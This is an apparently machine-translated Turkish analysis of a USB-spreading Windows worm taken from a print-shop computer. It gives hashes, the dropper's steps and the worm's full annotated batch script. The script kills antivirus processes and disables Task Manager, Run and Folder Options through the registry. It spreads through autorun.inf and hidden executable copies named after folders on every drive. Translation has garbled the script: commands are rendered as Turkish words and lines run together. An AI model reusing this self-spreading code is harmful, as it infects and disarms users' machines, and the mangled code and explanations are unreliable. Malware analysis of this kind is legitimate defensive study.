0. Önsöz
Matbaa iyi bir yer, yakalamamızı bekleyen bir sürü vahşi Pikachu var.
Bu kez yakalanan örnek bir matbaadan elde edildi ve numuneyi "evcilleştirmenin" zorluğu bir yıldızdı.
1. Örnek bilgiler
MD5: 3fc395746c1c8afe87a4594376cd2b2e
SHA-1: f183347e8884fac4168d9b47ff51c0e963731ed0
Dosya Boyutu: 69.5 KB
VT İlk Gönderim: 2016-03-2004:41:13
2. Örnek davranış
C sürücüsünden N sürücüsüne tüm disklerin kök dizinini enfekte edin, kök dizinin altındaki klasörleri gizleyin ve aynı ada sahip virüs dosyaları oluşturun, "klasör ve arama seçeneklerini" devre dışı bırakın:
3. Ayrıntılı analiz 3.1 exe analizi
Exe bölümü nispeten basittir ve IDA + OD + Process Monitor'ün analizi kolaydır.
Exe programının akışı aşağıdaki gibidir:
Başlatın, bat kodu verilerini oluşturun;
Geçici bir dosya oluşturmak için GetTempFileNameA'yı arayın, bu hata ayıklama sırasında ~ 8D69.tmp oluşturulur;
Bir bat dosyası oluşturmak için geçici dosyanın dosya adını alın: ~ 8D69.bat;
Yarasa kodu verilerini ~ 8D69.bat dosyasına yazmak için WriteFile'ı çağırın;
Call SetFileAttributes, ~ 8D69.bat gizli öznitelikleri ayarlayın
CreateProcessA'yı arayın ve ~ 8D69.bat dosyasını çalıştırın
~ 8D69.bat dosyasını silmek için DeleteFile'ı arayın;
ExitProcess;
3.2 yarasa betiği analizi
Yarasa senaryosunu analiz etmeden önce bazı bilgi noktaları ekleyin.
explorer.exe "demo" "demo" adlı klasörü açın
Dosyanın C: \ Documents and Settings \ jinsun \ desktop \ ParseSinglePkgs.bat olduğunu varsayarsak, bu bat komut dosyasındaki bazı genişletilmiş değişkenlerin anlamı:
Genişletilmiş değişken Anlamı
% 0 C: \ Documents and Settings \ jinsun \ desktop \ ParseSinglePkgs.bat% ~ dp0 C: \ Documents and Settings \ jinsun \ desktop \% cd% C: \ Documents and Settings \ jinsun \ desktop% ~ nx0 ParseSinglePkgs.bat% ~ n0 ParseSinglePkgs% ~ x0 .bat :: **************************************** **************************************** @vardiya @Eko kapalı :: Vardiya ve yankı işlevlerini kapat varsa "% ~ n0" (explorer.exe "% ~ n0" a gidin) :: Dosya klasörünü aynı isimle açın cd / d "% ~ dp0" eğer / i "% cd%" == "% ~ d0 \" (explorer.exe "% ~ d0") :: Mevcut değilse, yolu belirleyin ve diski açın : a w =% systemroot% \ system32 \ Drivers'ı ayarlayın yoksa% w% \ USBabı (attrib -s -h% 0 ©% 0% w% \ USBrusu) :: system32 \ Drivers yolunda USBrusu dosyası yoksa, dosyayı oluşturun :: Attrib + s + a + h + r komutunu kullanmak, sistem dosyası öznitelikleri eklemek, dosya özniteliklerini orijinal dosyaya gizlemek ve kendini% w% \ USBrusu eğer / i "% cd%" == "% w%" değilse (sona git) :: Değişkenin durumu ayırt edilmediğinde / i ekle, orijinal dosya% w% yolundadır, sonra end girin : d taskkill / f / im usbmon.exe / im U Disk Virus Immune System.exe / im USBCleaner.exe / im mmc.exe / im regedit.exe :: Antivirüs sürecini, özellikle usb korumasını kapatın "% userprofile% \" Başlat "menüsü \ Programlar \ Başlat \ QQ.com" yoksa (% w% \ USBabı "% userprofile% \" Başlat "menüsünü \ Programlar \ Başlat \ QQ.com" kopyalayın) :: Kendini QQ.com'a kopyala % w% \ Driver.sys çıkışı varsa "% systemroot% \ system32 \ ScreenSave.scr" yoksa ("% w% \ USBabı" "% systemroot% \ system32 \ ScreenSave.scr" kopyalayın) :: Kendini% systemroot% \ system32 \ ScreenSave.scr kopyalayın "% w% \ USBInfo.sy_" yoksa (çağrı: reg > % w% \ USBInfo.sy_) :: reg'i çağırın ve daha sonra kaydedilebilecek bir kayıt dosyası olan USBInfo.sy_ dosyasını oluşturun yoksa "% w% \ USBstor.vbe" (çağrı: slp > % w% \ USBstor.vbe) :: slp'yi çağırın ve USBstor.vbe dosyasını oluşturun "% w% \ USBInfo.vbe" yoksa (çağrı: vbe > % w% \ USBInfo.vbe) :: vbe'yi çağırın ve USBInfo.vbe dosyasını oluşturun "% w% \ USBSys.vbe" yoksa (çağrı: slp2 > % w% \ USBSys.vbe) :: slp2'yi çağırın ve USBSys.vbe dosyasını oluşturun 1'e git :son "% w% \ USBStor.vbe" yoksa (çağrı: slp > "% w% \ USBStor.vbe") "% w% \ Driver.sys" varsa (del / a / f / q "% w% \ Driver.sys") "% w% \ Driver.sys" yoksa (echo.Driver > "% w% \ Driver.sys"% w% \ USBStor.vbe) "% w% \ Driver.sys" varsa (del / a / f / q "% w% \ Driver.sys") "% w% \ USBInfo.vbe" yoksa (çağrı: vbe > "% w% \ USBInfo.vbe") "% w% \ USBInfo.vbe" çıkış : vbe :: USB BV'yi çalıştırın echo.createobject ("wscript.shell"). "% w% \ USBrusu" komutunu çalıştırın goto: eof : slp :: Gecikme echo.wscript.sleep 6000 goto: eof : slp2 :: Gecikme echo.wscript.sleep 400 goto: eof : inf :: inf, self-start, autorun.inf dosyası Eko. echo.icon =% systemroot% \ system32 \ shell32.dll, 7 echo.label = Yerel Disk echo.open = Eko. echo.shell \ open = Aç (O) echo.shell \ open \ Command = Klasör.exe echo.shell \ open \ Varsayılan = 1 goto: eof : reg echo.Windows Kayıt Defteri Düzenleyicisi Sürüm 5.00 Eko. Eko. echo. "ScreenSaveTimeOut" = "60" :: Ekran koruyucu için gecikme saniye echo. "SCRNSAVE.EXE" = "C: \ WINDOWS \ system32 \ ScreenSave.scr" :: Ekran koruyucu çalışan dosya Eko. Eko. echo. "@" = "c: \ windows \ system32 \ Drivers \ USBabı" ::çizme Eko. echo. "@" = "c: \ windows \ system32 \ Drivers \ USBabı" :: Açılışta tek seferlik başlatma Eko. echo. "@" = "c: \ windows \ system32 \ Drivers \ USBabı" :: Açılışta tek seferlik başlatma Eko. Eko. echo. "DisableTaskmgr" = dword: 00000001 :: Görev Yöneticisini Devre Dışı Bırak Eko. Eko. echo. "NoRun" = dword: 00000001 echo. "NoFolderOptions" = dword: 00000001 :: Çalışan işlevi devre dışı bırakın, "klasör ve arama seçeneklerini" devre dışı bırakın Eko. Eko. echo. "HideFileExt" = dword: 00000001 echo. "ShowSuperHidden" = dword: 00000000 echo. "Gizli" = dword: 00000000 :: Klasör gizlemeyi ayarla, korumalı işletim sistemi dosyalarını gösteremiyor Eko. Eko. echo. "Kontrol değeri" = dword: 00000000 :: Gizli dosyaların görüntüsünü klasör seçeneği ile değiştiremezsiniz goto: eof : 1 :: Register, USBInfo.sy_ bu dosya regedit / s% w% \ USBInfo.sy_ % w% \ USBStor.vbe CD\ ara: s d: ara: s varsa e: \ (e'ye git) :: E diskinden n diskine ve son olarak c diskine geçin goto ff : e e: ara: s : ff varsa f: \ (goto f) git gg : f f: ara: s :İyi oyun varsa g: \ (goto g) git hh : g g: ara: s : hh varsa h: \ (goto h) git ii : h h: ara: s : ii eğer varsa i: \ (i'ye git) goto jj :ben ben: ara: s : jj varsa j: \ (goto j) git kk : j j: ara: s : kk varsa k: \ (goto k) git ll : k k: ara: s : ll eğer varsa l: \ (goto l) git mm : l l: ara: s : mm varsa m: \ (m'ye git) git nn : m m: ara: s : nn varsa n: \ (n'ye git) git : n n: ara: s : Ö c: cd% w% d git : s % w% \ USBSys.vbe klasör.exe yoksa (% w% \ USBabı klasör.exe dosyasını kopyalayın) :: folder.exe dosyasını kopyala attrib + a + r + s + h klasör.exe :: Dosya özniteliklerini ayarlayın, klasör sistem dosyası özniteliklerini, arşiv dosyası özniteliklerini, salt okunur dosya özniteliklerini ve gizli dosya özniteliklerini ekler. varsa autorun.inf \ (eCho.y | cacls autorun.inf / p herkes: f :: echo y | cacls c: \ autorun.inf / p herkes: f :: Önceki komut yürütmesinin sonuç bilgisini bir sonraki komut işlemeye göndermek için | kanal sembolünü kullanın. :: Yani önceki yankının yürütme sonucu y'dir ve otomatik onay için bir sonraki komuta gönderilir. . cacls dosya erişim kontrol listesini (ACL) değiştirir rd autorun.inf / s / qdel / f / a / q autorun.inf) :: rd (dizini kaldır) dizini sil komutu autorun.inf yoksa (çağrı: inf > autorun.infattrib + a + r + s + h autorun.inf) :: autorun.inf mevcut değil, sonra bu dosyayı oluştur varsa desktop.ini del / f / a / q desktop.ini dir / a: d / b > desktop.ini / f "usebackq belirteçleri = *" için (desktop.ini) içindeki %% i "%% i.exe" yoksa yap (% w% \ USBabı "%% i.exe" özelliğini kopyala + s + h "%%ben") :: desktop.ini dosyasındaki her dosya için USBrusu oluşturun del / f / a / q desktop.ini attrib + a + r + s + h "recycler.exe" attrib + a + r + s + h "system volume information.exe" :: ************************************************* ********************************* Dört, özet Bu virüs hala çok basit ... VT'ye ilk yükleme zamanı 2016'da olmasına rağmen, bu şekilde oynayan virüsün on yıl önce olması gerektiğini düşünüyor. Yazar: icq5f7a075d, yeniden basıldı: https: //bbs.ichunqiu.com/thread-29574-1-1.html